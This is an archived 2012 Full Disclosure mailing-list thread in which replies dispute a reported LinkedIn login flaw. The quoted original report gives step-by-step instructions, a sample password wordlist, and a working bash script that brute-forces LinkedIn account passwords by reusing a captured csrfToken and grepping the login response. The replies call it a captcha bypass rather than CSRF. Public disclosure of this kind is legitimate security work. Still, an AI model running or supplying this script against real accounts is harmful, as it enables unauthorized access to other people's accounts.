Home page logo
/

fulldisclosure logo Full Disclosure mailing list archives

Re: LinkedIn CSRF: Login Brute Force
From: Mario Vilas <mvilas () gmail com>
Date: Fri, 18 May 2012 12:28:29 +0200

It's a capcha bypass, not a CSRF as claimed. I'm also not quite sure
if the capcha has really been bypassed at all as the blog post in
spanish says you have to enter it manually from time to time...

"Si linkedin nos pone problemas con el captcha, lo que debemos hacer
es ingresar via web con una cuenta valida, capturar nuevamente el
Token e intentarlo nuevamente con ese token."

This line is quite funny: "Nota: LinkedIn fue notificado hace 2
semanas sobre esta vulnerabilidad, pero no respondieron." (LinkedIn
has been notified two weeks ago, but they never responded). The
comments are pretty clueless too.

On Thu, May 17, 2012 at 7:50 PM, Julius Kivimäki
<julius.kivimaki () gmail com> wrote:
Where's the csrf? All I see here is an useless bruteforce attack.

2012/5/17 Fernando A. Lagos B. <fernando () zerial org>

LinkedIn uses a Token into the login form which can be used many times
for different usernames. You can do it using the same IP or differents
IP, the token will not be verified.



I. Step by step
===============
1). Login into your LinkedIn account and capture the "sourceAlias" and
"csrfToken" variable (example:

sourceAlias=0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoi&csrfToken=ajax%3A6265303044444817496)

2). Use the Token to login into another account:

https://www.linkedin.com/uas/login-submit?csrfToken=ajax%3A6265303044444817496&session_key=somebody () somedomain 
com&session_password=ANY_PASSWORD&session_redirect=&sourceAlias=0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoi&source_app=&trk=secureless

session_key is the username and session_password is the password.

3). The password (session_password) is not correct If the requested URL
returns "The email address or password you provided does not match our
records", else the password if correct.



II. PoC
=======

1). The Wordlist (filename: w)
[zerial () belcebu ~]$ cat w
asdfgh
zxcvbnm
1234567
0987654
12345698
456_4567
123456qwert
qwsdcv
12wedfgh
123456qwerty
12345qwei
112233
[zerial () belcebu ~]$


2). Executing the script:
[zerial () belcebu ~]$ sh linkedin.sh panic () zerial org w
Password found: qwsdcv
[zerial () belcebu ~]$

This is the correct password for this test user.




III. Script
===========

#!/bin/bash
#
# usage: ./linkedin.sh username () domain com wordlist
#

TOKEN="ajax%3A6265303044444817496"
sourceAlias="0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoi"

if [ ! -f $2 ];
then
       echo "file $2 does not exists"
       exit
fi

_USR=$1
for _PWD in $(cat $2);
do
       if [ $(echo -n $_PWD|wc -c) -lt 6 ];
       then
               echo "Ignoring $_PWD (must be grather than 6 chars)";
continue
       fi
       wget -o /dev/null -O -

"https://www.linkedin.com/uas/login-submit?csrfToken=$TOKEN&session_key=$_USR&session_password=$_PWD&session_redirect=&sourceAlias=$sourceAlias&source_app=&trk=secureless";|grep
'The email address or password you provided does not match our
records\|captcha' >>/dev/null
       if [ $? -eq 1 ];
       then
               echo "Password found: $_PWD"; exit;
       fi
done

echo "Password NOT found. Try later."
#EOF





More info (in spanish):

http://blog.zerial.org/seguridad/vulnerabilidad-en-linkedin-permite-obtencion-de-contrasenas/




cheers,
--
Fernando A. Lagos Berardi
Seguridad Informatica
GNU/Linux User #382319
Blog: http://blog.zerial.org
Jabber: zerial () jabberes org

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/



_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/



-- 
“There's a reason we separate military and the police: one fights the
enemy of the state, the other serves and protects the people. When the
military becomes both, then the enemies of the state tend to become
the people.”

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
AlienVault